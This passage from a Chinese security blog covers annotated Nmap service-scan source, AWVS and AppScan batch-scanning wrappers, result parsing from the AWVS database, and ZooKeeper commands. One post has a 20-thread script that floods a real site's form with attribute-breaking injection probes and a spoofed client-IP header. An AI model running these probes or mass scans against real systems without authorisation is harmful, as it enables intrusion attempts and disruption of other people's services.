  3. 服务探测匹配的信息(是否匹配、是否softmatch、ssl配置、产品、版本、CPE等信息)
  4. 管理探测包(服务扫描过程可能需要发送多个探测包,在此对当前探测包、下一个探测包进行管理)
  5. 管理回复包(提供添加与获取等操作)。
  6. 服务扫描所需的全部探测包AllProbes *AP;

 

2.2.3AllProbes

  AllProbes负责管理全部的服务探测包(Probes)。该类的对象从nmap-service-probes数据库文件中解析出探测包及匹配方式等信息,将之管理起来。在后续服务扫描时,在此对象中来按需取出探测包发送即可。

  该类主要包含以下几个方面内容:

  1. 探测包管理(探测包向量std::vector<ServiceProbe *>probes、NULL探测包等)
  2. 编制回退数组(compileFallbacks),当回复包无法匹配当前字符串时,允许回退到上一次匹配字符串。
  3. 管理排除端口列表。在nmap-service-probes中指定需排除的服务扫描,默认排除TCP的9100-9107端口,此类打印机服务会返回大量的无用信息。
  4. 服务初始化接口与释放接口。

 

2.2.4ServiceProbe

  ServiceProbe负责管理单个的服务探测包的详细信息。服务探测包具体的信息来自nmap-service-probes数据库文件,当AllProbes类在初始化时会读取该文件,并依据其每个探测信息创建ServiceProbe对象,放置在AllProbes内部的向量std::vector<ServiceProbe *>probes中。

  该类主要包含以下内容:

  1. 探测包名字,比如探测包名字叫NULL或GenericLines等等。
  2. 探测包字符串及字符串长度。非NULL探测包都包含探测需要字符串,所以此处对该信息进行管理。例如,对于探测包:Probe TCP GenericLinesq|\r\n\r\n|,其探测字符串为\r\n\r\n。
  3. 允许的端口及SSL端口。除NULL外,探测包通常只会针对特定的端口扫描才有效,所以此处即管理该探测包允许的扫描的端口。
  4. 探测包的协议类型probeprotocol,只能是TCP或UDP。
  5. 可被探测的服务类型detectedServices。与允许端口类似,探测包可能只能用于某些特定的服务的探测,所以此处统一管理能被探测的服务类型。
  6. 服务探测包匹配管理。该类中使用向量std::vector<ServiceProbeMatch*> matches来管理此服务探测包可能会匹配的情况,匹配情况对应到nmap-service-probes中的match与softmatch行。
  7. 探测回退数组(fallback array)的管理,此对应到AllProbes中compileFallbacks()函数,此处管理具体的服务探测包进行回退的数组。数组结构:ServiceProbe*fallbacks[MAXFALLBACKS+1];
  8. 测试是否匹配,此接口函数用于测试某个回复包是否与预期结果匹配。
  9. 其他接口函数,管理其他普通信息。

 

2.2.5ServiceProbeMatch

  ServiceProbeMatch用于管理特定的服务探测包的匹配信息(match)。nmap-service-probes文件中每一个match和softmatch行都对应到该类的对象。

该类信息比较丰富,以下仅简要描述:

  1. 探测包匹配详细信息(版本、产品、CPE等等)
  2. 探测匹配情况(匹配类型、匹配字符串、正则表达式等等)
  3. 测试是否匹配接口函数。若匹配成功,返回详细的服务与版本信息。

 

2.3  代码流程

  在nmap.cc文件的nmap_main()函数中,如果配置了服务扫描,那么调用service_scan()函数(位于service_scan.cc文件中)。服务扫描的内容主要在service_scan()函数中完成。

  service_scan()函数比较简洁,只有120多行代码。因为服务扫描涉及到具体详细的操作都封装到类或其他的静态非成员函数中了,而并发处理网络事件部分调用nsock库来处理。

2.3.1代码流程图

2.3.2流程解析

  首先在nmap_main()中将扫描目标机传入service_scan()函数中,以便根据目标机端口状态来筛选需要扫描的服务。

  然后,在AllProbes:: service_scan_init()读取nmap-service-probes文件,解析出被排除的端口、扫描过程需要的探测包、探测包匹配等详细信息。将信息存放在AllProbes对象内。

  随后,根据Targets和AllProbes创建服务组对象(ServiceGroup),从Targets中解析出开放的端口与处于open|filtered状态的端口,创建对应的ServiceNFO对象,该服务等待被扫描。并创建扫描进度测量器,以便后续打印出扫描进度;确定最佳的扫描并发度ideal_parallelism。

  然后,确定排除端口。默认情况下,排除nmap-service-probes中指定的端口Exclude T:9100-9107;而如果用户命令行指定--all-ports,那么不排除Exclude指定的端口。

为每个目标机设置超时时钟,获取当前时间。

  然后开始进入关键环节,创建nsock pool,即nsock处理并发探测包的事件池。在创建nsock pool后,服务扫描才能使用nsock建立连接并注册事件。

根据用户需求,设置服务扫描的trace信息。

  若配置了openssl时,将其速度设置为最大。因为对于服务扫描,仅关心端口的服务类型,不必在安全性花费过多时间。

  然后开始启动少量的服务探测包(launchSomeServiceProbes)。根据前述步骤得出的服务探测包,创建nsock niod(io描述符,类似于文件描述符,管理输入输出),完成地址等信息配置,然后建立CP连接或UDP连接,在建立连接后向nsock pool注册事件。此后,该连接的事件将交给nsock loop来统一处理。

  创建nsock主循环(nsock_loop),在此循环中来接收网络事件(例如接收到回复包),调用相应的处理函数对事件响应(函数servicescan_read_handler()、servicescan_write_handler()、servicescan_connect_handler())。在处理函数中,扫描完成了某些服务后,会再调用launchSomeServiceProbes()函数加载剩余的服务进来扫描,以此整个服务扫描过程就被有序地连接起来了。

  当nsock循环退出,检查是否有错,并删除nsock pool对象。

  打印出调试信息,处理最终扫描结果。

3  源码注释

/* Execute a service fingerprinting scan against all open ports of the
   Targets specified. */
///针对指定目标机的开放的端口进行服务指纹扫描,
///此处会用到Nmap的nsock库(并发的Socket Event处理库)
int service_scan(vector<Target *> &Targets) {
  // int service_scan(Target *targets[], int num_targets)
  AllProbes *AP;
  ServiceGroup *SG;
  nsock_pool nsp;
  struct timeval now;
  int timeout;
  enum nsock_loopstatus looprc;
  struct timeval starttv;

  if (Targets.size() == 0)
    return 1;

  AP = AllProbes::service_scan_init();///获取AllProbes对象,AllProbes仅维护一个Static对象
  ///在service_scan_init()中将读取nmap-service-probes文件,解析出需要的探测包,并存放在
  ///AllProbes中std::vector<ServiceProbe *> probes向量中。


  // Now I convert the targets into a new ServiceGroup
  ///使用Targets向量与AllProbes创建服务组ServiceGroup,从Targets中提取open端口及
  ///open|filtered端口,放入services_remaining等待进行服务扫描。
  ///在创建服务组时,确定出服务扫描的最佳并发度ideal_parallelism
  SG = new ServiceGroup(Targets, AP);

  if (o.override_excludeports) {
    ///覆盖被排除端口,当命令行中指定--all-ports时会走到此分支。
    ///被排除的端口是指在nmap-service-probes文件用Exclude指令定义的端口。
    if (o.debugging || o.verbose) log_write(LOG_PLAIN, "Overriding exclude ports option! Some undesirable ports may be version scanned!\n");
  } else {
    ///从ServiceGroup中移除被排除的端口,Nmap默认会排出掉9100-9107与打印机相关的服务,
    ///因为此类服务只是简单返回Nmap发送过去的探测包,会产生大量的垃圾的流量。
    ///默认情况下在nmap-service-probes文件头部定义:Exclude T:9100-9107
    remove_excluded_ports(AP, SG);
  }
  ///为所有需要进行服务扫描的主机设置超时值
  startTimeOutClocks(SG);

  if (SG->services_remaining.size() == 0) {
    delete SG;
    return 1;
  }
  
  gettimeofday(&starttv, NULL);
  if (o.verbose) {
    char targetstr[128];
    bool plural = (Targets.size() != 1);
    if (!plural) {
      (*(Targets.begin()))->NameIP(targetstr, sizeof(targetstr));
    } else Snprintf(targetstr, sizeof(targetstr), "%u hosts", (unsigned) Targets.size());

    log_write(LOG_STDOUT, "Scanning %u %s on %s\n", 
          (unsigned) SG->services_remaining.size(), 
          (SG->services_remaining.size() == 1)? "service" : "services", 
          targetstr);
  }

  // Lets create a nsock pool for managing all the concurrent probes
  // Store the servicegroup in there for availability in callbacks
  ///创建nsock pool,以使用nsock并发控制探测包
  if ((nsp = nsp_new(SG)) == NULL) {
    fatal("%s() failed to create new nsock pool.", __func__);
  }

  ///根据用户指定的packettrace配置,设置nsock的trace级别
  if (o.versionTrace()) {
    nsp_settrace(nsp, NULL, NSOCK_TRACE_LEVEL, o.getStartTime());
  }

#if HAVE_OPENSSL
  /* We don't care about connection security in version detection. */
  ///配置SSL时,关注传输速度,而不关注安全性本身,以加速服务扫描过程。
  nsp_ssl_init_max_speed(nsp);
#endif

  ///从service_remaining列表中找出满足条件的等待探测服务,对之进行配置,
  ///创建nsock文件描述符(niod),并通过nsock建立连接(如nsock_connect_tcp()),
  ///并将此探测服务移动到services_in_progress列表中。
  launchSomeServiceProbes(nsp, SG);

  // How long do we have before timing out?
  gettimeofday(&now, NULL);
  timeout = -1;

  // OK!  Lets start our main loop!
  ///nsock主循环,在此循环内处理各种探测包的事件(nsock event)
  ///在上述的launchSomeServiceProbes操作中,调用到nsock_connect_tcp/udp/sctp等,
  ///最终执行nsp_add_event函数向nsock pool添加等待处理的事件。
  looprc = nsock_loop(nsp, timeout);
  if (looprc == NSOCK_LOOP_ERROR) {
    int err = nsp_geterrorcode(nsp);
    fatal("Unexpected nsock_loop error.  Error code %d (%s)", err, strerror(err));
  }
  ///退出主循环后,删除nsock pool
  nsp_delete(nsp);

  if (o.verbose) {
    char additional_info[128];
    if (SG->num_hosts_timedout == 0)
      Snprintf(additional_info, sizeof(additional_info), "%u %s on %u %s",
        (unsigned) SG->services_finished.size(),  
        (SG->services_finished.size() == 1)? "service" : "services", 
        (unsigned) Targets.size(), (Targets.size() == 1)? "host" : "hosts");
    else Snprintf(additional_info, sizeof(additional_info), "%u %s timed out", 
           SG->num_hosts_timedout, 
           (SG->num_hosts_timedout == 1)? "host" : "hosts");
    SG->SPM->endTask(NULL, additional_info);
  }

  // Yeah - done with the service scan.  Now I go through the results
  // discovered, store the important info away, and free up everything
  // else.
  ///对服务扫描结果的处理
  processResults(SG);

  delete SG;

  return 0;
}

from:http://blog.csdn.net/aspirationflow/article/details/7910350

python之Thread初体验

发布时间:July 27, 2015 // 分类:开发笔记,运维工作,工作日志,代码学习,python,windows,生活琐事 // No Comments

最开始的原因是因为某个哥们在拿着burp反复的提交着某个页面的某个参数

看不下去了。建议拿脚本写一个来提交。然后要求使用多线程进行

#!python
#-*- coding:utf8 -*-
#Author saline
#Email nophacker@gmail.com

import requests,threading
from time import sleep, ctime

class MyThread(threading.Thread):
#创建MyThread类,用于继承threading.Thread类。
    def __init__(self,func,args,name=''):
    #使用类的初始化方法对func、args、name等参数进行初始化。
        threading.Thread.__init__(self)
        self.name=name
        self.func=func
        self.args=args
    
    def run(self):
        apply(self.func,self.args)
    #apply(func [, args [, kwargs ]]) 函数用于当函数参数已经存在于一个元组或字典中时,间接地调用函数。args是一个包含将要提供给函数的按位置传递的参数的元组。如果省略了args,任何参数都不会被传递,kwargs是一个包含关键字参数的字典。    

def post():
    header = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
       'Origin':'http://support.0day5.com',
       'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36',
       'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryuOYBiRdLALEyGT1o',
       'Referer':'http://support.0day5.com/request/new/',
       'Cookie':'SERVER_ID=yyyyyyyyyyyyyyyyyy; request_ticket_view=list; PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxx',
       'Accept-Language':'zh-CN,zh;q=0.8',
       'Accept-Encoding':'gzip, deflate',
       'X-client-IP':'127.0.0.1'}#好麻烦的。直接不打算继续使用了
    posturl = "http://support.0day5.com/request/new/"
    postdata='------WebKitFormBoundaryuOYBiRdLALEyGT1o\r\nContent-Disposition: form-data; name=\"yform_ticket_form\"\r\n\r\n1<\">testetstetst\r\n------WebKitFormBoundaryuOYBiRdLALEyGT1o\r\nContent-Disposition: form-data; name=\"TicketForm[requester_id]\"\r\n\r\n486347\">testetstetst\r\n------WebKitFormBoundaryuOYBiRdLALEyGT1o\r\nContent-Disposition: form-data; name=\"TicketForm[title]\"\r\n\r\n##\">testetstetst\r\n------WebKitFormBoundaryuOYBiRdLALEyGT1o\r\nContent-Disposition: form-data; name=\"TicketForm[field_1910]\"\r\n\r\nwww.0cx.cc\">testetstetst\r\n------WebKitFormBoundaryuOYBiRdLALEyGT1o\r\nContent-Disposition: form-data; name=\"TicketForm[content]\"\r\n\r\n<p>\r\n</p><p><br/>testetstetst</p>\r\n------WebKitFormBoundaryuOYBiRdLALEyGT1o\r\nContent-Disposition: form-data; name=\"file\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryuOYBiRdLALEyGT1o--'
    r = requests.post(posturl,postdata,headers = header)
    print r.history
    #打印状态码
threads = []
for i in xrange(20):
    t = MyThread(post,())
    threads.append(t)
    t.start()
    print 'end:%s' %ctime()
        

赶紧去看看自己的邮箱提醒

整合了最近整理的东西

发布时间:July 27, 2015 // 分类:工作日志,开发笔记,运维工作,代码学习,python,windows,生活琐事 // No Comments

最近整理了下几个扫描器的命令行运行的东西。

appscan

AppScanCMD.exe /e /su http://127.0.0.1 /pf d:\\self.policy /st d:\\self.scant /msev Low /tt Application /rt Html /rf d:\localhost.Html
比较有效的


AppScanCMD.exe /e /su http://127.0.0.1 /pf d:\\self.policy /st d:\\self.scant /msev Low /tt Infrastructure /rt Html /rf d:\localhost.Html

AppScanCMD.exe /e /su http://127.0.0.1 /pf d:\\self.policy /st d:\\self.scant /msev Low /tt All /rt Html /rf d:\localhost.Html

AppScanCMD.exe /e /su http://127.0.0.1 /pf d:\\self.policy /st d:\\self.scant /msev Medium /tt All /rt Html /rf d:\localhost.Html

AppScanCMD.exe /e /su http://127.0.0.1 /pf d:\\self.policy /st d:\\self.scant /msev High /tt All /rt Html /rf d:\localhost.Html

然后是AWVS

wvs_console /Scan http://127.0.0.1  /Profile ws_default /saveFolder d:\ --GetFirstOnly=false --FetchSubdirs=true --RestrictToBaseFolder=true --ForceFetchDirindex=true --SubmitForms=true --RobotsTxt=true --CaseInsensitivePaths=false --UseCSA=true --UseAcuSensor=true --EnablePortScanning=false --UseSensorDataFromCrawl=revalidate --ScanningMode=Heuristic --TestWebAppsOnAllDirs=false --ManipHTTPHeaders=true /GenerateReport /ReportFormat pdf

于是稍微整理下

#!python
#-*- coding:utf8 -*-
#Author saline
#Email nophacker@gmail.com
import sys,os
from optparse import OptionParser 

appscancmd = r'D:\\"Program Files"\\IBM\\"AppScan Standard"\\AppScanCMD.exe'
wvs_console = r'D:\\"Program Files"\\Acunetix\\"Scanner"\\wvs_console.exe'
saveFolder = r'D:\\work\\'

def init_parser():
    usage = "Usage: %prog --host http://www.example.com --scan awvs"
    parser = OptionParser(usage=usage, description="AppScanCMD AND AWVS_console scan")
    parser.add_option("--host", type="str", dest="host", help="remote host name")
    parser.add_option("--scan", type="str", dest="command", help="chose what scan.just appscan and wvscmd")
    return parser

def scan(url,scan):
        if 'http' in url:
                name = url.split('//')[1].replace('/','')
                url = url
        else:
                name = url.replace('\n','')
                url = 'http://'+url
        #appcmd = ('%s /e /su %s /pf d:\\self.policy /st d:\\self.scant /msev Medium /tt All /rt pdf /rf d:\\work\\%s\\appscan.pdf')%(appscancmd,url,name)
        appcmd = ('%s /e /su %s /st d:\\self.scant /msev Medium /tt All /rt pdf /rf %s%s\\appscan.pdf')%(appscancmd,url,saveFolder,name)
        wvscmd =('%s /Scan %s  /Profile ws_default /saveFolder %s%s --GetFirstOnly=false --FetchSubdirs=true --RestrictToBaseFolder=true --ForceFetchDirindex=true --SubmitForms=true --RobotsTxt=true --CaseInsensitivePaths=false --UseCSA=true --UseAcuSensor=true --EnablePortScanning=false --UseSensorDataFromCrawl=revalidate --ScanningMode=Heuristic --TestWebAppsOnAllDirs=false --ManipHTTPHeaders=true /GenerateReport /ReportFormat pdf')%(wvs_console,url,saveFolder,name)
        if 'appscan' in scan:
            cmd = appcmd
        else:
            cmd = wvscmd
        os.system(cmd)

def main():
    parser = init_parser()
    option, _ = parser.parse_args()
    domain = option.host
    command  = option.command

    if not domain:
        parser.print_help()
        sys.exit(0)

    domain = domain if domain.startswith('http') else "http://{domain}".format(domain=domain)
    domain = domain if not domain.endswith('/') else domain[:-1]
    return scan(domain,command)


if __name__ == "__main__":
        main()

使用的方法也是很简单

python scan.py
Usage: scan.py --host http://www.example.com --scan awvs

AppScanCMD AND AWVS_console scan

Options:
  -h, --help      show this help message and exit
  --host=HOST     remote host name
  --scan=COMMAND  chose what scan.just appscan and wvscmd

awvs

发现野生的设计一枚.

扫描核心为awvs console,用nginx反向代理+DNSsever解决了,登录认证问题(大部分情况)

About Acunetix WVS Console

发布时间:July 24, 2015 // 分类:运维工作,开发笔记,工作日志,python,windows,生活琐事 // 6 Comments

今天看到一个大牛在弄一个基于windows和linux下各自扫描器的分布式的系统。由于不同的扫描工具,所运行的环境有所不同,导致我们的扫描系统有必要兼容不同的系统。比如hydra, openvas等工具,它们是比较适合运行在Linux上,而WVS,appscan等工具是运行在Windows上,所以我们有必要同时兼容这两大类系统。如果再深入一点,Linux也分为很多种不同的系统,比如CentOS, Ubuntu,Redhat等,而且即便相同的系统,内核版本不同的话,运行环境也是有很大的区别。

然而今天思考的问题是在windows下进行的AWVS扫描。主要调用了Awvs的命令行wvs_console.exe

>> USAGE: wvs_console /Scan [URL]  OR  /Crawl [URL]  OR  /ScanFromCrawl [FILE]
                      OR  /ScanWSDL [WSDL URL]

>> PARAMETERS                                                                        //参数
       /Scan [URL]               : Scan specified URL                                //扫描特定的URL
       /Crawl [URL]              : Crawl specified URL                               //检索指定的url
       /ScanFromCrawl [FILE]     : Scan from crawling results                        //扫描检索的结果
       /ScanWSDL [WSDL URL]      : Scan web services from WSDL URL                   //扫描来自wsdl的参数URL

       /Profile [PROFILE_NAME]   : Use specified scanning profile during scanning    //使用指定的扫描配置进行扫描
       /Settings [FILE]          : Use specified settings template during scanning   //使用指定的设置模板进行扫描
       /LoginSeq [FILE]          : Use specified login sequence                      //使用指定的登录序列
       /Import [FILE(s)]         : Import files during crawl                         //导入检索的地址进行爬行
       /Run [command line]       : Run this command during crawl                     //
       /Selenium [FILE]          : Execute selenium script during crawl              //执行selenium脚本进行爬行

       /Save                     : Save scan results                                 //保存结果
       /SaveFolder [DIR]         : Specify the folder were all the saved data will be stored //保存记录的目录
       /GenerateZIP              : Compress all the saved data into a zip file       //对所有的数据进行zip压缩
       /ExportXML                : Exports results as XML                            //将结果以XML方式导出
       /ExportAVDL               : Exports results as AVDL                           //将结果以AVDL方式导出
       /SavetoDatabase           : Save alerts to the database                       //把警告数据保存进数据库
       /SaveLogs                 : Save scan logs                                    //保存扫描日志
       /SaveCrawlerData          : Save crawler data (.CWL file)                     //保存检索(爬行)数据
       /GenerateReport           : Generate a report after the scan was completed    //扫描完成后生成报告
       /ReportFormat [FORMAT]    : Generated report format (REP, PDF, RTF, HTML)     //生成报告的格式
       /ReportTemplate [TEMPLATE]: Specify the report template                       //特定的报告模板
       /Timestamps               : Print current timestamp with each line.           //打印每行的时间戳
       /SendEmail                : Send email notification when scan is completed, using scheduler settings. //扫描结束后发送电子邮件
       /EmailAddress [EMAIL]     : Send email notification to this email address, override scheduler settings. //邮件地址会把之前设置的给覆盖掉

       /Verbose                  : Enable verbose mode                               //开启细节模式。也就是发送的具体参数
       /Password                 : Application password (if required)                //如果有需要写入密码
       /?                        : Show this help screen                             //没得说,帮助

>> OPTIONS [ ? = TRUE or FALSE ]                                                   //选项  =true 或者是=false
       --GetFirstOnly=?          : Get only the first URL                            //仅仅获取第一个url
       --RestrictToBaseFolder=?  : Do not fetch anything above start folder          //不扫描当前目录以上的其他目录(扫描二级目录有效)
       --FetchSubdirs=?          : Fetch files bellow base folder                    //
       --ForceFetchDirindex=?    : Fetch directory indexes even if not linked        //扫描目录,即使该目录不再链接里面(就是目录匹配)
       --RobotsTxt=?             : Retrieve and process robots.txt                   //从robots.txt里面获取目录进行爬行
       --CaseInsensitivePaths=?  : Use case insensitive paths                        //
       --UseWebKit=?             : Use WebKit based browser for discovery            //使用基于WebKit的浏览器
       --ScanningMode=*          : Scanning mode (* = Quick, Heuristic, Extensive)   //扫描模式(快速、启发式、广泛的)
       --ManipHTTPHeaders=?      : Manipulate HTTP headers                           //http头可以修改(个人暂时理解为可以修改http头进行提交)
       --UseAcuSensor=?          : Use AcuSensor technology                          //使用AcuSensor 技术(不明所以)
       --EnablePortScanning=?    : Enable port scanning                              //启用端口扫描
       --UseSensorDataFromCrawl=*: Use sensor data from crawl(* = Yes, No, Revalidate) //抓取fuzz提交的数据( = 是,否,重新验证)
       --HtmlAuthUser=?          : Username for HTML based authentication            //基于HTTP认证的用户名
       --HtmlAuthPass=?          : Password for HTML based authentication            //基于HTTP认证的密码
       --ToolTimeout=?           : Timeout for testing tool in seconds               //设置提交的超时时间

>> EXAMPLES
wvs_console /Scan http://testphp.vulnweb.com  /SaveFolder c:\temp\scanResults\ /Save
wvs_console /ScanWSDL http://test/WS.asmx?WSDL /Profile ws_default /Save
wvs_console /Scan http://testphp.vulnweb.com /Profile default /Save --UseWebKit=false --ScanningMode=Heuristic]]

那么扫描的命令我就这样子使用了

wvs_console.exe /Scan http://testphp.vulnweb.com /Profile ws_default /save /savetodatabase --GetFirstOnly=false --FetchSubdirs=true --Re
strictToBaseFolder=true --ForceFetchDirindex=true --SubmitForms=true --RobotsTxt=true --CaseInsensitivePaths=false --UseCSA=true --Us
eAcuSensor=true --EnablePortScanning=false --UseSensorDataFromCrawl=revalidate --ScanningMode=Heuristic --TestWebAppsOnAllDirs=false
--ManipHTTPHeaders=true

既然如此,那么批量扫描也是就是顺理成章的事情了

#!/usr/bin/python
# coding: UTF-8
'''
wvs_console 批量扫描脚本
'''

import sys,os,time

urllist = r'd:\\urllist.txt'    #需扫描网站列表文件
savefolder = r'd:\\result\\'    #扫描结果保存路劲
wvs_console = r'F:\\"Program Files (x86)"\\Acunetix\\"Scanner 10"\\wvs_console.exe' #wvs_console路径


def scan(url,folder):
    if 'http' in url:
        name = url.split('//')[1].replace('/','')
        url = url
    else:
        name = url.replace('\n','')
        url = 'http://'+url
    name = name.replace('\n','')
    url = url.replace('\n','')
    if name in os.listdir(folder):
        print '%s has scaned'%name
    else:
#       os.system('%s'%wvs_console)
        os.system('%s /Scan %s /Profile ws_default /saveFolder %s%s --GetFirstOnly=false --FetchSubdirs=true --RestrictToBaseFolder=true --ForceFetchDirindex=true --SubmitForms=true --RobotsTxt=true --CaseInsensitivePaths=false --UseCSA=true --UseAcuSensor=true --EnablePortScanning=false --UseSensorDataFromCrawl=revalidate --ScanningMode=Heuristic --TestWebAppsOnAllDirs=false --ManipHTTPHeaders=true'%(wvs_console,url,folder,name))



if __name__ == '__main__':
    if not os.path.exists(urllist):
        print r'需扫描的网站文件不存在'
    if os.path.exists(savefolder) == False:
        os.mkdir(savefolder)
    for i in open(urllist):
        scan(i,savefolder)

再然后就是对数据的处理上来了

默认保存的位置为:C:\ProgramData\Acunetix WVS 10\Data\Database\vulnscanresults.mdb

Awvs扫描结果数据库中有一个Wvs_scans表,保存的都是扫描过的url,以及扫描开始时间和结束时间。可以将当天下载的url保存到一个list中,然后在扫描之前先将之前所有扫描过的URL查询出来,同样保存在list中,读取list中的url,判断是否在扫描过的URL list中,如果存在将之从url list中删除掉;如果不存在则再进行扫描。

Awvs会自动将扫描结果保存到本地的access数据库中,具体的表是Wvs_alerts,也可以设置保存到Mssql数据库中,具体的是在Application Setting进行设置。结果入库模块的功能是从access数据库筛选出危害等级大于0的漏洞。然后用正则表达式对request中的host,漏洞文件,get或post提交的请求进行筛选拼凑,获取到完整的漏洞测试url。

其实可以发现:需要的东西都是保存到WVS_alerts

severity为危害等级,分为0,1,2,3分别是无影响,低位,中危,高危

algroup 为漏洞的类型

affects 为漏洞文件

根据某个这些思路。大约可以这么定义

 conn = win32com.client.Dispatch(r'ADODB.Connection')
    DSN = 'PROVIDER=Microsoft Access Driver (*.mdb, *.accdb)'
    conn.Open('awvs')
    cur=conn.cursor()
    rs = win32com.client.Dispatch(r'ADODB.Recordset')
 
    rs.Open('[WVS_alerts]', conn, 1, 3) 
    if rs.recordcount == 0:
        exit()
    #遍历WVS_alerts所有的结果,cmp进行筛选危害等级为3的,也就是高危
    while not rs.eof:
        severity = str(rs('severity'))
        if cmp('3', severity):
            rs.movenext
            continue
        vultype = rs('algroup')
        vulfile=rs('affects')
        #由于mysql库中要求的漏洞类型和access的名称有点差别,所以还需要对漏洞类型和危害等级进行二次命名,sql注入和xss为例
        xss='Cross site'
        sqlinject='injection'
        if xss in str(vultype):
            vultype='XSS'
            level='低危'
        elif sqlinject in str(vultype):
            vultype="SQL注入"
            level='高危'
        else:
            level='中危'
        #拼凑出漏洞测试url,用了正则表达式, post和get类型的request请求是不同的
        params = rs('parameter')
        ss = str(rs('request'))
        str1 = ss[0:4]
 
        if 'POST'== str1:
            requestType = 'POST'
            regex = 'POST (.*?) HTTP/1\.\d+'
            str1 = re.findall(regex, ss);
        else:
            requestType = 'GET'
            regex = 'GET (.*?) HTTP/1\.\d+'
            str1 = re.findall(regex, ss);
        regex = 'Host:(.*?)\r\n'
        host = re.findall(regex, ss);
        if host == []:
            host = ''
        else:
            host = host[0].strip()
        if str1 == []:
            str1 = ''
        else:
            str1 = str1[0]
        url =host + str1
        timex=time.strftime('%Y-%m-%d',time.localtime(time.time()))

晚上到家,重新装了office里面的套件.access,重新打开mdb数据库。然后重新思考了下整个流程

1.用户输入网址进行扫描
 

os.system('%s /Scan %s /Profile ws_default /saveFolder %s%s --GetFirstOnly=false --FetchSubdirs=true --RestrictToBaseFolder=true --ForceFetchDirindex=true --SubmitForms=true --RobotsTxt=true --CaseInsensitivePaths=false --UseCSA=true --UseAcuSensor=true --EnablePortScanning=false --UseSensorDataFromCrawl=revalidate --ScanningMode=Heuristic --TestWebAppsOnAllDirs=false --ManipHTTPHeaders=true'%(wvs_console,url,folder,name))

然后会根据url会在WVS_scans创建一个scid。同时写入当前创建的时间。结束后写入结束的时间

result = "select scid,starttime,finishtime from WVS_scans where starturl="+%d (url)
id=result[scid]
start = result[starttime]
end = result[finishtime]

耗时:time = end -start

再根据scid来查询WVS_alerts里面的信息

result1 = select severity,algroup,affects,parameter,request from WVS_alerts where severity>0 and scid=result[scid]

漏洞级别 result1[severity]
漏洞类型 result1[algroup]
具体文件 result1[affects]
问题参数 result1[parameter]
请求过程 result1[request]

再把相关的数据整合就好了

#!/usr/bin/python
#-*- coding: utf-8 -*-
#Author:saline
#Email:nophacker@gmail.com
import pypyodbc

connection_string = 'Driver={Microsoft Access Driver (*.mdb)};DBQ=D:\\phpStudy\\WWW\\vulnscanresults.mdb'
connection = pypyodbc.connect(connection_string)
#使用Access的ODBC连接字符串,通过pypyodbc模块获得一个可以连接到vulnscanresults.mdb数据库的ODBC连接对象connection:
cur = connection.cursor()
#并从这个连接对象中,获取一个数据库操作游标cur:
sql='select scid,starttime,finishtime from WVS_scans where scid =1'
cur.execute(sql)
#首先,传递SQL查询语句至Access数据库:
for row in cur.fetchall():
    id =row[0]
    start = row[1]
    end = row[2]
    time = end -start
    print '消耗的时间为:'+ str(time)
    sql1 = 'select alid,algroup,severity,affects,parameter,request from WVS_alerts where severity>0 and scid=%d'%(id)
    cur.execute(sql1)
    for raw in cur.fetchall():
        print '第'+str(raw[0]+1)+'问题'
        print raw[1]
        print '危害等级:'+str(raw[2])
        print raw[3]
        print raw[4]
        print raw[5]

connection.close()

至此,一个简单的demo已经完成了。虽然是一些片段

Zookeeper常用命令

发布时间:July 15, 2015 // 分类:开发笔记,运维工作,linux,windows,python // No Comments

zk客户端命令

ZooKeeper命令行工具类似于Linux的shell环境,不过功能肯定不及shell啦,但是使用它我们可以简单的对ZooKeeper进行访问,数据创建,数据修改等操作.  使用 zkCli.sh -server 127.0.0.1:2181 连接到 ZooKeeper 服务,连接成功后,系统会输出 ZooKeeper 的相关环境以及配置信息。

命令行工具的一些简单操作如下:

如下示例:

  • 1. 显示根目录下、文件: ls / 使用 ls 命令来查看当前 ZooKeeper 中所包含的内容
  • 2. 显示根目录下、文件: ls2 / 查看当前节点数据并能看到更新次数等数据
  • 3. 创建文件,并设置初始内容: create /zk "test" 创建一个新的 znode节点“ zk ”以及与它关联的字符串
  • 4. 获取文件内容: get /zk 确认 znode 是否包含我们所创建的字符串
  • 5. 修改文件内容: set /zk "zkbak" 对 zk 所关联的字符串进行设置
  • 6. 删除文件: delete /zk 将刚才创建的 znode 删除
  • 7. 退出客户端: quit
  • 8. 帮助命令: help

429306093

429329789

 

ZooKeeper 常用四字命令:

      ZooKeeper 支持某些特定的四字命令字母与其的交互。它们大多是查询命令,用来获取 ZooKeeper 服务的当前状态及相关信息。用户在客户端可以通过 telnet 或 nc 向 ZooKeeper 提交相应的命令

传递四个字母的字符串给ZooKeeper,ZooKeeper会返回一些有用的信息。

ZooKeeper 四字命令

功能描述

conf

输出相关服务配置的详细信息。

cons

列出所有连接到服务器的客户端的完全的连接 / 会话的详细信息。包括“接受 / 发送”的包数量、会话 id 、操作延迟、最后的操作执行等等信息。

dump

列出未经处理的会话和临时节点。

envi

输出关于服务环境的详细信息(区别于 conf 命令)。

reqs

列出未经处理的请求

ruok

测试服务是否处于正确状态。如果确实如此,那么服务返回“imok ”,否则不做任何相应。

stat

输出关于性能和连接的客户端的列表。

wchs

列出服务器 watch 的详细信息。

wchc

通过 session 列出服务器 watch 的详细信息,它的输出是一个与watch 相关的会话的列表。

wchp

通过路径列出服务器 watch 的详细信息。它输出一个与 session相关的路径。

 

如下示例:

  • 1. 可以通过命令:echo stat|nc 127.0.0.1 2181 来查看哪个节点被选择作为follower或者leader
  • 2. 使用echo ruok|nc 127.0.0.1 2181 测试是否启动了该Server,若回复imok表示已经启动。
  • 3. echo dump| nc 127.0.0.1 2181 ,列出未经处理的会话和临时节点。
  • 4. echo kill | nc 127.0.0.1 2181 ,关掉server
  • 5. echo conf | nc 127.0.0.1 2181 ,输出相关服务配置的详细信息。
  • 6. echo cons | nc 127.0.0.1 2181 ,列出所有连接到服务器的客户端的完全的连接 / 会话的详细信息。
  • 7. echo envi |nc 127.0.0.1 2181 ,输出关于服务环境的详细信息(区别于 conf 命令)。
  • 8. echo reqs | nc 127.0.0.1 2181 ,列出未经处理的请求。
  • 9. echo wchs | nc 127.0.0.1 2181 ,列出服务器 watch 的详细信息。
